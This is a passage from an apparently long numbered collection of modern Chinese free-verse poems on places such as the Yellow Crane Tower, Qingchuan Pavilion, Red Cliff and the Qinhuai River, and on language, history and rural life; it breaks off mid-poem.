一切在慢慢显露它们沉默的表面， 我们依然在事物滑腻的表面穿行， 为命运而高歌，如果有人为此而将它 作为他的困惑向我们递过来。 黄鹤楼907 《黄鹤楼》 没有竖琴， 为没有出现的颠倒顺序而高歌 的范围超出你那突然之间以实体好来 谓之的一切。你以言之的声音， 可以遮盖掉我说话的声音。 如同那是一把琴弦， 为错误和因焦虑而来者，即使以 杜撰，那消弭发生的多么缓慢。 也还是不愿意放弃，无法入其门， 寡淡的粮食需要食盐和味精， 豆油才可以在嘴唇的咀嚼中鲜美，好吃。 谓之以食。天平的另外一端是诗歌 正渐行渐远。诗歌是挽留之物，是我拿起了 那物之徒劳，手儿是它被抓握时候虚影一般的表面。 竖琴在暮色投在大地的树梢 阴影里面传出来迟缓的歌声。 而不只是仅仅盘旋和徘徊于， 那一定会发生的声音。即使被我们 以恳切的词语请求离开。 不似那古代离开时候另外的一个 松开了束发，袍衣宽阔了许多 闯了进去。那诗歌也是由他命运一般的所写。 汉阳908 《汉阳》 即使书写里面，并没有什么礼物。 它也没有使得那随后会道出自己 姓名的人儿。带着什么东西到来。 我不愿意在空之来中，来于来来往往之 如同哲理一般的乏味的深邃。因此我会 打开了窗，仿佛刚刚下过雨。空气凉爽。 你，全因为我书写而一点点慢慢的使我 从陌生到熟悉，从百年前，或者几千里 之外的一个人成为了我血缘上面彼此可 溶解的亲戚。其实我已经一点点伴随着 浪漫的情景正离开那放松。我应该为彼 与此的离别而写的是历史中那些书信一 般在两个地区互通有无。从一匹白色的 老马突然停下了咀嚼嘴里面的干草，一 头撞碎了虚空里面身边被提前放置好了 的明日的行程。作鸟兽散的翅膀扑棱棱 的声音，背景。西边的太阳也正一点点 的落下。在最短的词语里面，当我多么 自然的保持了简洁，而目标却是向着那 繁复的尚且未有发生。但这是一轮我以 后不会再提起的太阳。诗歌中的落日也 会在岁月中渐渐陌生，未来的东升西落 都只是在寻找着此刻。寻找着这寻找本 身越来越成为了一个主题下的如此众多 此刻里面那被以奇怪的方式提及到的人。 是你，也是我，在我们正在阅读， 那一封诗人以古代书信一般的方式所伏案着书。 无题909 《无题》 别人不可能来， 来的透亮，来的美丽 来在了一片语言沼泽的途中。 语言的个人俯卧的荒地， 被自己听到了隐隐呼吸平静的声音。 我还能为入梦所吟唱 那一些从童年纯净一般的开始那里， 记忆模糊的谷仓和打谷场，麦秆 被堆砌的很高，冬天和下一个冬天 用来烧火的麦秆堆。 为了保持于在善变之外的一切， 因为童年之美看起来仿佛是永恒对于衰老的诉说。 孤独的夏虫，在这一层不可见之上弹奏 它们颤抖的肢体和身体，也被夜晚的雾气萦绕。 晴川阁910 《晴川阁》 当事物和诗歌紧密的关系， 以及那一双双不同样子的人的嘴唇 被浸泡。被我们以失败的方式所推理 踪迹熄声的水，如今已经变作大江和茫茫的 河岸。追踪者又一新的，而他的形象 是我，试图在旧中为新花样而脑汁绞尽。 如纸张一般展开的江面呈上来了一无返顾 流水的波折。又在自身所具有的暗流涌动中， 平缓，广阔。为这一新的而它紧随着无论成功 与失败都在历史之中，包括那些对此，以史料 的方式题刻在光荣阁楼下面的土黄色的墙壁。 为这一个游人微不足道的思绪，如同这一些 墙壁一般在前方和远方，过去都一一断裂的江水 建筑。我们手动为从历史的过去就现代性开始的尝试， 试图包括了一切，而只有将此默记仿佛遗忘， 从历史之远如江海如同我们之遗落源自于对于 江河在史记中人文界限的离开和质疑。 而那时候我们的身体愈发的空幻于眼前 被我们以嘴唇所一次次试图表达的此刻 凌乱不堪的体验。 黄鹤楼911 《黄鹤楼》 人在言语里面为生活化所 经历的， 一切如同它在言语里面再次的经历。 再次的生活。木匠为言语萌生出 填充，测量，修改的主意， 为缓慢的事物我们祷慰如同旧日里面 急匆匆而带着遗憾错过而难以挽救。 在时间上面的一座桥，连接着 现实中一座更为宽广的建筑。 我们已经深入其中，我们所言语 实则为因为孤身英雄一般而舍弃者。 在江面寻找不到他们虚幻的影子， 他们用自己的身躯抗议连番，没有停止 如同一个木棍，一根根的树立起来 在不是他们的有意而为之之中， 使得我们的舌头不得安宁，使得矛盾 在言语之间那狭小的范畴之内 如同一团江水因为浪花的激溅而在我的嘴 的寓所，嘴唇之内的宇宙。 晴川阁912 《晴川阁》 善良到了无法想象。 善良到了言语为语言的边界 而不断颂歌的内容，也还是你， 在错误的村镇，偏远的地方。 作为我熟悉的人度过一生。 我与你组成了我文字里面， 被一一析取的城镇。 为了你在文字里面因为活如 傍晚的天色。那一些我匆匆略过 而今也依然无法听到，看到，触摸的。 而我伸出来的手掌，像溺水者 将求生的本能伸向了你。 湖面漂浮，残断者有如高枝枯萎 芦苇的茎叶。易于从天空和大地， 不同角落和不同地方， 为这一些所准备的词语。 当我想起自己只是一个庸庸碌碌之徒， 为不得安宁而沉默所做高歌状。 晴川阁913 《晴川阁》 光明的线段正从这里一点点的褪去 催促着书写的最初内容， 作为到来者所首先看到的内容， 当一路奔波，翻过山峦。 当你悬置起来的言语起于无可奈何， 又不似悲伤，如在二者之间。 夜晚你便婆娑世界般难以被找到， 以此所明证一遍遍寻找，举起火把 有时候也燃烧我们正准备对此进行 描述的暗淡纸张。蝉声深处为不可 规避而宁静本质的生灵。作为人， 这一覆盖于其上的轻微，手指儿 抚摸多么的温柔，为言说所准备的 口粮，为这一遗失之内，在于不经意 的必然之命运间，你饥肠辘辘的度过 一夜， 七月914 《七月》 七月，我破开雪花之心。 夜晚我把那柄代表着顽固 与表面的刀给藏了起来。 趁着它试图离开于自己面相的风华， 趁着这些尚且没有如同言语一般的行程 的穷途末路，在我手掌的紧握之中， 我握住的是什么？ 是否是我自己给予自己的迷题。 正确与错误，上升还是前进。向着 灯火摇曳下一个镇子，住着忧伤而僵化的人们。 他们是否已经见过了太多太多， 在太多如我一般人儿被给予的冰冷印象 脱离开来了我自己的，却让我 作为一个异乡人投身于早已经因为历史的 虚无而注定了的命运。 如同它那在无形空气里面弹奏的琴弦， 找不到那琴的弦一根根，存在于哪里 那些英雄一般的身体上面， 仿佛正义审判的刀剑审判着他们。 他们因此赋予我了放松的空间， 尽管它如此的短暂，相对于那种 太过于广阔为美和落日沉沦一般所 真挚以及突然忧伤的村民所充盈的一切， 他们所破坏的一切，他们静默的时刻的 如同一种等待。当他们坐在农耕劳碌后的 休息，在一块石头上，望着那些， 我试图给予他们如同心脏一般，布陈给 大地之尘土般厚重要义，那必然应该以 轻笑而让每一个个我们纷纷继续前进的意思， 黄鹤楼915 《黄鹤楼》 为世间布施最大的迷题。 天空下的河面像将天空反射的镜子， 为何如江水般自然流动，一个被 不断揣测的事物。从历史里面没有 溜走的可能性。在言语里面再次 被以隐秘和潜藏的口吻亲切而热烈的勾引。 于是，江边的树木 在无风的时候昭示了风极其轻微 才可以艰难拥有着的意涵， 而且仅仅只是在于一瞬间，当它 在登高望远不禁发出了感叹般那因果的瞬间， 仿佛作为休戚与共的事物，它已经习惯了 被脚链捆绑而只是为长存之苟活的形式 而在静止的事物内部，如同成为了 世界寓于自身之中的名字，风。 我，一再的被提醒，他人 也同样承受着这种不可猜测和言说 所带来的悲观情绪。 纵身投江的孟姜女只是另外的一个， 只是被排除的仕女有着大自然天然的怜悯 如同在最初的一场无意识的行动。 如今，驳船冒着黑烟。 为现实提供着充足的论据。 偶尔路过的客轮， 满载着对下游充满了好奇的高山居民。 她们的嗓音尖锐而婉转， 刺破了空气中无形的法则面罩。 从黄鹤楼上看，她们，它，以及她 开始于伟大如同天空般的起点， 为水而祷慰，伸手摸水。抚东于一路， 到达他们风帆吹动下的这里。 晴川阁916 《晴川阁》 有人说眼睛可以一目十行 并将错误弯曲如同折弯的钢筋。 在无人的时候可以这样去说， 在无人的巷道和破落无人烟的村庄 犹如所有事物因为刻意寻找而被 一次次忽视了的地方。像中间地带 像言语这一面镜子，正在对现实光亮的 唯一一点反映中萦绕如表面的雾气。 是谁，是你准备要将谁 以什么样子的方式来肆意的吐露。 是你，本无任何一点可以以道德上面的 自我瑕疵而不断的忏悔。莫须有的事物 我已经在刚才将你遗忘， 作为昏沉沉之中仿佛看到了入睡一般的 凭证。作为一个始终无法逾越的标志， 你自身为厌烦于这种与我，微小生灵 游戏于无意义的交流和生活之上。 如果我们之中的任何一个都趋向于完整， 在我们所心灵感知的事物达于它们自身的 完满如同雏鸟的羽翼渐丰，开始了第一次的飞翔。 愿它的跌落，从高高的悬崖再次的飞起 而我们为了那险象环生所因为避而不谈所 设想和杜撰的一切努力，在我将你的呼唤之中 我疲乏的身体之上，它们即使不在模糊的永恒里面 置身我于调查者的身份时。 晴川阁917 《晴川阁》 她，某个人屏风后面的人 影影绰绰于木在言语上面 那磕磕绊绊的流逝感觉。 她用手抓住了水中的事物， 水永恒无形的形象仿佛不需要 被提及，总是在被抓住的惯常之中 赋予水温以抵达内心的悲凉。 而悲于所悲则为悲，被悬置 如木的悲好来在木一般于文字 海洋的走动之中，来来回回于摇曳。 我带着悲说手指的凉意，目光看向 花朵一样为美丽所勉力支撑的样子， 样子像虚假的沉默暗示，又有着此刻 真实的情景为美丽这虚假本身为真的短暂一面， 为这水同样虚假之中才有了的行动的一切 是抓住了水和水的挣扎，水中的事物 在水里面如同即将无法呼吸也无法去申诉的 鱼儿如果迫使它离开了可以申辩的寓所。 在于为水的广大之时候，这样的日辰 如前人所说于它们，那鱼儿所陈尸于岸上 所见言语的一切所见怜悯与道义的挽留开始 的生长。作为在一个因果律之中的事物， 它需要以死亡而越来越清晰的进入 幸福于言说的链条。当你，从屏风后面的 大千复杂性一去不复返，作为一种唯有 爱意才可以轻声唤起的姿态，以那鱼儿在 岸上奇迹一般的我，面临着于生所不顾及 而它们被言语长存仿若复活的情景之中， 晴川阁918 《晴川阁》 她为了观我看她纵身跃入那 存在本身如线段一般的延展而活着。 她有时候也左右的为难，此刻的她 也可能是另外的一个她让她感到了 所有问题经过思索的解决， 和因此我们的手儿如同深入了一般的 不能再从麻团里面抽离。是的， 答案一般的麻团，本身像其他被它 所代表的事物，如同此刻这瞬间倾斜 洒落的光晕。我们的身体并没有移动分毫， 我们的思绪仿佛在事物的表面为它们 那高低不平的凹凸而唱了一首沉默式的赞歌。 我，不应该将一切可以视作打扰一个人的 形式来在放下的隐秘中视作以新。作为常新者 之旧的光泽，同样萦绕于表面，像是物的语言 已经事先的将它那所需要言说者据为己有， 在最为宽泛的意义上可做仁爱的解。 晴川阁919 《晴川阁》 没有酒和水， 没有隔开来了的酒， 在彼此的碰杯里面是北方的酒 南方的酒，互相饮用之中酒水的不同 面对于言语的一切，反过来 在人影的影影绰绰之中那面向于 酒所托物言志里面所包裹的一切的 众多的路径，它可能性里面的路径 何其多。因为多而添加的 沉默之人儿的不愿意去表达。 以多而再增添一些，那多出来的新的一笔 何妨不是来自于过去。 过去，雾气昭昭的过去，幕布的过去 江面上展开的陆地费异可思的想法， 人儿的那一些投影，因为自己的行动的 身躯，而投在了水面，时间中这多么渺小的事物 同样渺小于我们自己的躯体，我们 试图变形的语言言语着我们， 已经在心里面知道被注定了的事情。 如同江水一般的重复， 重复于将对于重复的反驳所淹没，一次次的。 如同新的，当它常新于水的暗流和人， 并且在，那大陆的新的解释，如同人这 灰褐色的陆地的破碎的碎片，这语言没有 中间地带的直接的情分的愤怒之时， 如同另外的一个江面上的船只， 为掩饰这大陆式的江面而活着，而存在 于那逻辑的微不可闻的脆弱 那时候，大江迈步，在语言被打碎了的 命运一般的阻隔的途中，前进，上岸。 晴川阁920 《晴川阁》 现在，用以阅读。 现在我所制造的明亮时刻里面， 与明亮的光线一起产生的事物 有着难以言称的名字。 沉默为宜，语言只是从来都不会为了 让出道路。那些存在于它自己的身上， 在上一刻尚且没有， 在下一刻里面的这一些 葱绿的树丛附近，诞生。 仿佛是出自于一个倦怠的观者之手。 任凭谁都无法让我们对着缠绕， 而高颂古籍中人以智慧伤痛般所写。 在纸上面， 寒鸦与白鹤皆在纸张一般的天空飞过， 人与事物都置那其他于天空一般虚无 当它们因此悄然于不断被弃之不顾中的 愤懑的诞生。作为一个修饰词语， 它们太大，作为相似者之中那身材 魁梧于人的渺小， 并且对于从生灵嘴里面最初它所认定的 一切皆是声音。没有语言如星宿一般的 公转和自转，没有人在物欲之外所涉怜悯 晴川阁921 《晴川阁》 现在，用以阅读。 像石块因为否定的错误， 那错误一路向下，从一个高处 带着颠簸的走在起初泥泞的城乡结合部 的土路，一十五个还包括了更多 用叮叮当当来试图在噪音里面减少彼与此的 工匠师傅。把声音磊在了墙壁的内部。 乃是历史的遗言， 也是一个人忠诚于仅就它肉体 对他这个人儿一生虚假所临终做出一点点修改。 而人与物的关系被排在一边，次要 的位置上面繁多于坐满了熙熙攘攘的 从物欲横流的集市突然坠落到这里的人。 也堆满了成为了物品而不得不以前额 碰触墙壁，这哀哭于微不足道的解释 并且在意义的毫无发现的荒地， 把自己那突然之间对于人世雾气一般的虚无 再次的经历了一遍。 以语言的方式就好像从言语着的 惯常的挪移和置换那里， 为自身的道德感的平衡而与生活 所一次次驾轻就熟的发生着的联系。 为你从月下催促于美丽的仕女， 而不是转过身为善变者之心意满满于 滞留于过去式那里而仿佛在拂晓 也依旧故人一般影影绰绰。 为这你所说出的话语， 是你之原因，也是你登上了楼阁亲眼所见。 为这叙述性的话语江水一般所沾染的现代性， 为作为拯救性的你一步一个台阶， 如果这已经成为回声则在回音里面回来， 那么新鲜的话语于重复里面诞生， 如黄鹤楼隆起于大地， 你那勤劳的工匠的丈夫， 为了我替你所言者遗忘的发生， 仅只是剩余于他们作为一个受命运束缚的 群体，使得命运之悲剧在修葺之中， 在滚滚长江边。 晴川阁922 《晴川阁》 事物， 有些时候是存在被人注意的边界。 如同它们一以贯之的唯一的事情， 在它们更多束缚于自身体内之中， 仿佛经久的不可改变包含了妥协。 包含了誓言一般永恒不变的外貌。 那也是它们，或者成为了它， 当它作为在我们嘴里面，眼睛所注视 而从于自己中所向着外表的银色的 走廊。像现在我试图用其他不同形式 的语言所表达的这现实之中的一条。 从室内通往门外。我想起了那一些 为悲歌而哭泣的，为诗歌形式于 永恒之虚言中短暂真理所带来的忧伤。 为这一存在于不可思议而同时于它们 自身于大地上的流变，为哲学般的言语 实则只是市井酒徒宿醉前就已经独自 疯言疯语。我是摸不到诗歌大门的人儿， 我也是在门外期盼着挑帘入幕，作为 一个石头的心脏，并且被它冰冷坑洼 的外表所紧紧包裹着。 石头923 《石头》 从一个事物，当它不移不动 静止的接受着如同天平因此所给予它的一种交换。 在此人因为好奇的追求于那一些 仿佛被它身下阴影所笼罩的， 并且将自身迷失的生活和一天的碌碌无为 不自觉的掺杂其中。仿佛一种无人察觉的 行为，也像是这一睹物思情， 在你那物的最为微弱层次上面坚固的外壳。 当脱离开来了生灵，他也会替你幻想 陡然迷失的情绪里面，再次从黑夜茫茫中 偶然的重新找到了你。 窗外924 《窗外》 窗外，存在的事物 是流水，流水驱动于石头 所无影无踪。在流水之后是人类的语言。 那些难以言喻者 语言像自由散漫到统一在水面浪花一般 被迸溅，因为极其微小的浪花反而造成了 无法返回水面的窘迫。 而流水整夜整夜的，追随着同样绵长 却如今身在别处的雨水。 因太过于滂沱而必然会回来的信念， 像白日里充足的论据以值得忽略的方式， 被提供给了人类。提供给了发现的意外之喜。 人为吟唱于赞歌一般，劳累于此的带着歌谣 进入了流水一般的梦乡。 作为早就事先因为因果而注定了的事物， 就像作为人，和作为事物。 作为流水所占据的一端， 另一端充满了尚且没有去到时候的遐想， 以遐想所重塞着的，让流水于石头的推动。 生灵925 《生灵》 使我将它那意思不断缩小， 使我感觉到了逃脱暂时发生 而瞬间在永恒意义里面的遐思。 这一生灵，因为柔软，而尝试着的 在那美丽的路途上面行。 也因为别的，作为不可预测而以征兆的 方式，不仅仅把苦难带来。 我已经深深的体会了它嶙峋如刺的表面， 随后翻阅它们在莫须有中才好存在于人类 恳切于美丽而动笔对于记忆的重复和书写。 在这一破败的门槛上面， 矮小的人生灵中那些四肢动物一般 被排除在外。我们被回想的德性 同样来自于那些我们所认知之外的偶发事件。 你，应该是那个始作俑者， 当白日里面为突然之间的激动而突兀 如同四脚朝天的动物，并且在翻身之中 再无法越过一道低矮的门槛。 你黄褐色的身影落在了你所仅能投身的 黄褐色的大地。 无题926 《无题》 生灵般这一肉体所归还的声音。 那些声音以指向它的方式离开着。 有着曲折和回还的模样， 在意气用事的容易激愤里面存在过。 也在吸引他人的来了又匆匆的离开之中。 为我们言语所笼罩如同暮色暗淡金黄的光线。 为这一时分的人与其他是否有什么不同， 值得我们去思索的这一否定的结果 仿佛正是无意义中的思也从 它那虚无一般之处诞生的突然，然后离开。 为叙述的这一依旧平庸的我， 为躲避而潜伏进了浓密的灌木丛。 缩下身子弯曲背部蜷起膝盖。 为这一哲理性所占有的日暮时分的精彩， 包括了熙熙攘攘人群。在这块巴掌大的地方 安身立命，谓言语所诉的纸状一般的必然凌乱 和失败。 赤壁927 《赤壁》 当作为缄默之我，穿行在时间 时间像一条赐予人莫名的长歌。 它那尽头深入大漠孤烟所如画卷， 并且在自身之中将二者的互不可缺 以画卷的形式刻入其中。 以微小的边边角角垂怜于人的历史 对待这一生灵足够的耐心使得它们在 历史的长度里面厌倦，暴露本性 为物欲的一切我们所缄默着唱着，演奏赞歌。 要已经为这未来的一切 岂不是人道主义般的形象， 且附身于设置一般的准备工作。 并且由这一些所涉及到达的人类， 如同就是在他们自己到达自己的这一个 迷惑的历程，为找寻于矛盾者， 为在自身之中而时时有脱离而在其之外时候 的生活之天平世俗的词语的时分。 赤壁928 《赤壁》 踱步，我们已经达到这里了。 我们是天空中盘旋着的，鹰群。 群体中伸展开翅膀。 为了这名字而在那之外的村庄， 为在那村庄之外，不远处鹰群盘旋。 蔓延的春风是否应消亡于尽头， 人类的思索。为此当它以陈恳的方式 面对着的仿佛也正是那莫须有的 等价于不可寻找。为此，这农夫的形象 从傍晚的幽暗中起身，像他过去劳作的形象 中的脱离开来那锄具的彼此相连的独立性。 为此所追思的离开，仿佛这一完成 只有在别处。当这一路途实则在沉默的 紧闭双唇来凸显了历程的漫长，为 这一重复于沉默之中肉体的不幸上， 那完成于未来而对于言语的脱离。 为那鹰群于高天所见，正如同为我们 所见云朵和霞光，美丽又普遍者。 在言语之间，也可以为其他所暂时的隐秘 而所寻。这一恩赐般人类的建议 这一农夫从村庄出走， 无题929 《无题》 短暂进入了理想的国度 而为离开所做的赞歌。 巨大体型的物体仿佛理应该 有着更为迟缓逝去的形式。 为它们在人类嘴唇里面 如同尊严般的降落下来，回到了 尘世，又为缅怀于那些非现实的。 因为贫困而来的这一些， 将包括着我们对于美好生活 以劳作的方式向往。我们或者我 勉力于从那劳作所排除的事物当中 形同于同那不可进入而只可以 短暂逗留者，写下的残章断句。 唯有当它们是自由的， 它们与其他的绝不属于一个统一 美也属于一种可称之为遗漏的事物， 为在从此处我所张望，看过去， 为此我的脚步保持不动。 赤壁930 《赤壁》 为了这夜晚恍惚如同 从我这幽闭的居所。 为这错误以孤独的形式， 仿佛窗外是银色月光的领地。 \/ 我为洒落所做的 在夜夜的重复里面，是不足够之意。 为此我所思，准备出发，前往 为离开而生 \/ 这一完整的词语所体现了人类的 空幻，人在地上可以独自的杜撰 向明日的土地推出不能移动的木车， 在河面上漂浮。 \/ 如同月光这一事物被忽略的原因， 一道道门窗关闭，打开 在自然中走到了更深的地方， 成为了月亮， 但愈加作为了一个不能离去的悬疑。 赤壁931 《赤壁》 为着那尚且没有完成的完整， 而生命诞生。 在向着那并非它而那一些起初试图去做的。 如同被召唤而来的事物，对于我们而言， 理应带着感激之情。 而它却早已经将它们包裹在自己的体内。 作为普通又平凡的事物，严严实实， 以平凡的外表发出声音。 为回返这馈赠的实质 为欣赏于人类诸多问题，其中 有那一些待解和那些悬而未决的。 有时候在急迫里面被远离的生命的亲近， 这生灵自我的感受如同坠入了不可避免的虚无。 眼前的荒地，发出了开垦的命令 长满了荒草的沃土，将小径逐渐掩埋。 被我们所忽视的这一切， 如同正是在于我从那听闻者的嘴里面 带着试图得到的希望。 而就是这样一位邻人， 她忧伤和私利所充斥，她内心 为整夜所端出称作了矛盾的事物 她在称呼其为它之时，并不理解 但在念出里面为拨弄于时间所涉及， 又是空地上神秘的奥妙所藏， 深远的记忆会从黝黑之处将她的夜晚再次 的哲人般，侵袭。 如果不为了拯救于那所身处 而恐惧只是其中之一。 如果我们农村人的言语如徐徐下降的水面， 得乃是应答已在于了其中。 为这一些生灵中逝去者之光辉的形象 已经从登高望远的瞬间 来到了他们切切实实的聚集的响声。 为此，她那孤独的窗棂将坠入夜晚的永恒， 如同一支又一支歌曲中的其中一个， 为这一忽视所于发觉之中， 当它正以此而愈加深沉的坠落。 香客932 《香客》 为此，亲爱的人儿 我愿意在言语里面将一切继续 如一切起于一场微风， 而你愈加的无知无觉 在泥塑菩萨里面， 她所以双手合十所为远所 做出的古老的涵盖， 包括那一些从古至今的传统的延续 不自觉再一次由攀登，穿过松柏林荫的 香客与信徒瓜分，复又带回来。 这些彼此不必理会，而 冲突发生在静默里面的时刻 因此可以在这里以伟大的寂静称呼。 他们形象的跪拜，在蒲团上面叩首 之为亲而爱者的他们， 如同我对于你的呼唤一般 为疲劳而生于这一次次，如同轮回一般的 途径如此庄重的山涧庙宇 和不远处以它之庄严而多少同样肃穆 暮色里面的人间世。 无题933 《无题》 需要的不只是出于我们所需要 而如此急切的，凌乱着的在需要之中的。 为这一完成仿佛给予过来之人 和他们来到了此地之后的转答， 为这一必不可免情况的发生 在心内不是侥幸，我侥幸的祈求， 祈求于一切而在先，当我说出了任何一个 事物或者词语，在事件需要以寒光如同 割破的刀刃，在冰冻的冰锥需要垂直向下 融化之前破开燥热。 心灵为先的一切不可能梦得到什么。 不可能为远处的事物增添一抹夏日凉爽。 也不似作为没有送出去的馈赠， 便遗留在，我们原本烦躁的心中。 我无暇顾及于事物，仅仅以幽光一撇。 像我为转赠者的沉默如同静止不动之事， 那些物只不过在被忽视之间， 积蓄于当那一些烦闷的思索因为焦虑 而祸水东引之时。 无题934 《无题》 一切普遍的事物， 作为整体的事物，群体的外貌 因为在事物之中而回溯的 和那一些更远的以着异化。 当你是一道投影， 也代表着远处， 但已经微弱。 当你透明的形象是我言语的表述 微风吹拂着你的身体， 来之前我已经将你塑造 为同于想象的平行和呼应。 为你实则出自于我的内心， 如同旧日里面羞涩的仕女听从于幻化。 这内心的世界独白 就像草丛和绿树， 当它们各自在大地上面伸展， 在地面铺下阴凉的绿茵。 而现在，还不是我听到人人皆 感动的时刻。我还无暇在人们出发之时 高奏赞美的歌曲。 如果我式微，而大地愈发怜悯 为这小小的人儿如同池塘旁边的藻类植物 他们内心世界的丰富性， 沿循着正确的道路亦步亦趋如同脚步 踩着石块的侥幸 为爱意我所愿意迷乱， 在风中如同身影被吹拂到了一个莫须有的远处。 雷声935 《雷声》 像雷声，像正义和道德。 以人的德性在闷雷里面的被一一的涉及。 我联想到的，我联想的出处 都来自于真本质为假的引起了惊慌。 闷雷，一道闪电的光芒 在黑夜的天空迅速的划过 将光明与黑夜的比对遗留在了我心。 当它们从我的心里面随着时间 一点点的消逝。寻觅发生于这里。 我相信那雷声的颤音依旧使得某一些事物， 从此发生了致命性的改变， 为在大地上面的荫绿的路途 却从此突然走向了衰亡。 这呈现在绿色叶子的愈加深厚， 那绿中之绿，仿佛为死亡 而在叶子上面有着垂泪的泪珠。 而一切的佐证都从未曾将意外 和高天紧密的关联，而为了自然 这深刻奥义所存在的正常与普遍， 实则在突然的衰败之中正以青草的 方式，一点点，一次次的揭示了人的 幼稚和天真。它们嫩绿的叶子， 深藏着天空中黑色的闪电， 它们震颤的灵魂，无法为文字的拙劣 而做出些许弥补。 而我为赞歌之吟唱于那笨拙的幻想， 当停留于它那又一个创造之困难， 为毁灭所进行的礼赞， 被赋予创造者的背景， 在高天上面，闪电以寻找 生灵的责任划过了一个又一个的夜空。 秦淮河936 《秦淮河》 鸣蝉鸣于，它像是被我 抛弃开的因果。 蝉鸣于我的眼睛里面， 使得我的看，我的关注， 在自我的搏斗发生在悄无声息 眼眸的深处。 而我分明更早就看到了 所有人儿心灵的弥足珍贵 仿佛这世界上平凡人所唯一拥有的珍宝。 我看到了从暮色好来避开眼神的地方 竖起了道德的旗帜， 盗贼们为谋求于心灵而来， 夜晚是另外的一个众生灵沉默的世界。 当我们以自己的语言苔藓般的覆盖 在了我们以肉身所一分为二的世界。 在大地上行的日子已经漫长于近乎遗忘， 我们为寻而找到，总是能够找到恣酒之欢。 其中，有那一些信以为真者 成为了天真的诗人， 却对于自己所吟唱的世界突然的灾难 感到永恒所带给他的郁闷。 而酒因此如空瓶之中的回声 则再次的要求我们去把它， 当做了又一新的来盈满。 而在确知的背景里面， 酒在文字的神话和猖狂之中， 反观我们路过了泥塑的菩萨庙宇 那些悬而未决因为事情的没有解决 越积越多，让肉身沉重，让被视作了 等待到达的流水沉默中有着愈加深的声音。 而因此我回返的路途在自己的目光中， 眼神中多么的遥远，遥远馈赠予我的 其实只是人类个体的困难， 我不必复述于困难如同暮色里面的一头 被盗贼驱赶的攻城野兽。 而在沉闷的气喘吁吁里面 我也不会为筑起高墙而努力， 我只是在于短暂和瞬息，来把 逃脱与居住的双层含义， 同一于它们于人的生命的时刻。 其后，我也将会郁闷，入眠 为在梦中这浮世绘和众生相， 在缺少了纸与笔的，秦淮河畔， 向夜泊者的人儿，借以书写 所可以成行的，语言之花的时刻。 无形937 《无形》 我将赞美的逝去作为了原因。 在人们嘴里面寓于般的无形， 对它的喟叹后。犹如断臂的英雄， 回返于困难脚步，在不远处躲藏的山丘。 \/ 模糊草叶上面高歌沉寂， 从植物坚硬的根向上茎部垂怜于土地。 如同无法被猜测者中，英雄的这一边 河面上蒸腾白雾。 \/ 为这一礼赞而倾听于历史微微的侧身。 使得未来的一剂良药沿着想象的掩埋与发觉 在寂静的夜色里面逆流而上， 在被找到者的搜寻那里的一场活动 我们语言所感受到了刀枪剑戟和火炮的冰冷 在文字上面投下比纸张更为惨淡的光芒。 我在不同的时空中沿着同一个地方 微微的听到了他们搜寻的声音。 在搜寻无果与找到之间， 在罪证之前的一直赞歌的雏形 仿佛为农耕中所因为地理位置的不同 而分出的同一支的人类的歌子 当它们各自吟唱于自己环境不同的家乡 而以水和土壤这一共同者所托举起来了 英雄的两种不同的形式:生与死 当他永恒于垂暮时刻树木之共同， 那一些靠近山水的棺厢，为这一自始至终 单纯的奥义。 而此刻它裸露于大地， 形象于轨迹在赞歌着山丘的声音之中， 回返于那包括人类在内的英雄的永恒的结果 和寓所。 阁楼938 《阁楼》 我将在大地上面因而活着的交出了 那赞歌的内容。是贫乏的赞美。 对于英雄的逝去岂不是一种损伤？ 当它，以诗歌的身份所朝向了我， 使得我在窗棂里面听到的， 为此我的困难延续于我不能从这一 为自己辩护的诗歌中。 作为只好沉醉的人儿， 已经是了史书写就中那花边时刻的众多， 在这推杯至盏和红烛摇曳之前的 攀登于楼梯。作为从荒凉中这不多的 一抹繁花，为从诗人的口吻中而洒脱向 起初由酒与水所引发的一切。 包括大地在内， 而从这一位置像我未来的言语 在了过去，在我此刻的言说之先， 为这时刻我愿意沉默的更久， 为迷乱的身体在与它那等同之中 枯瘦的诗人们，戏子们 更为迟重者以推辞于到来的因果之命运 我这微不足道者为此受到了牵连，波及 并不为沉默于幽暗室内，由一束 哲理般的光线所照耀的那种。 秦淮河939 《秦淮河》 像云朵。 我现在为夜晚所做的想象。 当在夜晚里面分明 出于人们容易被吸引向过去历史的迷途， 而又在回来里面高歌的现实 让他们自身的处境愈加是不愿意 去自我面对的虚幻。 而这丛生于如同梦境本身的等同， 如同现实之那一梦境， 经过了言语便确确实实的从存在 从某一个不为人知的角落而愈加的真实起来。 而这一漫长的历程， 有着空鼓的外表，两面皆不相听闻。 与那声嘶力竭，当走在现实与梦境之中 一一皆无从疗伤于人心底最深处的恐惧。 大地上断裂的树木，遗留树根之 顽固于语言之水，寻觅的活动。 我一时之间为无法寻找到人的踪迹而 感到已经走在了错误的路上。 像那个一开始就只能为命运高歌的亚伯拉罕 在纸张上面的他那一部分的未来， 而未来以其近乎于荒漠一般的伟力 ————当再一场及时雨的倾盆之中， 为着大地的气竭前的时刻， 仿佛在朦胧的雨水中我们看到的事物， 作为一种征兆， 雨水陡然为刀，为切割于此， 仿佛行于沙漠和荒滩深处， 当你从丛林来到了这里时候。 秦淮河940 《秦淮河》 我们说的， 在你愈发凛冽的眼神潜藏中。 为此我们换得来了心灵的柔软， 却不为看到和获知。 仿佛我总是把一天都虚度， 总是最后和开始，或者从最后 作为起点的再一次的开始了那循环。 人一旦投身于莫名的光影的圆环， 比如，那事物的栏杆所反射的语言之光， 和光明原本就存在的神秘感。 谁又能有精力听从于我们自己的表达呢， 如同孤身的英雄，抛弃了沉默 而誓言的沙漠和空旷的土地，因此 在日常的大街上面一点点悄无声息的形成。 它也于此中，如同人类自我不可觉察的 存在之形象， 有时候作为令人惊异的同一个， 甚至在于被叫出以事物的那未来人一般 端详和审视的眼神之中， 互相的牵连，互相缠绕，但都是无形 而颓然无力的时刻。 秦淮河941 《秦淮河》 语言应是病痛着，当它犹如人一般， 双手，试图捂住和遮掩，在腹部。 那隐隐上升因言语宽泛所给予的 语言之大。之辽阔，这样一日常的事物， 所给予我的难以想象。这使得我贫乏的脑回路 如同再次经历了那曾以为数不多， 而途径某一悠长的曲径。我从那里面像四处乱撞的小鹿， 玻璃杯中被封闭空间宣判了结局的苍蝇， 无法穿透那仅仅属于它，而由人类来定夺的结局。 而在这一冷静中多少带着些怜悯的注视， 像是人这一离开了故土而不得不在此处 矛盾于时刻保持，充盈着热情而劳作的人们。 如同修路工人，或者有时候变幻在农民之远方 的二者之间。为他们左右和内心都冲撞的命运， 发出的歌谣。而在某一个时刻，他们注视着 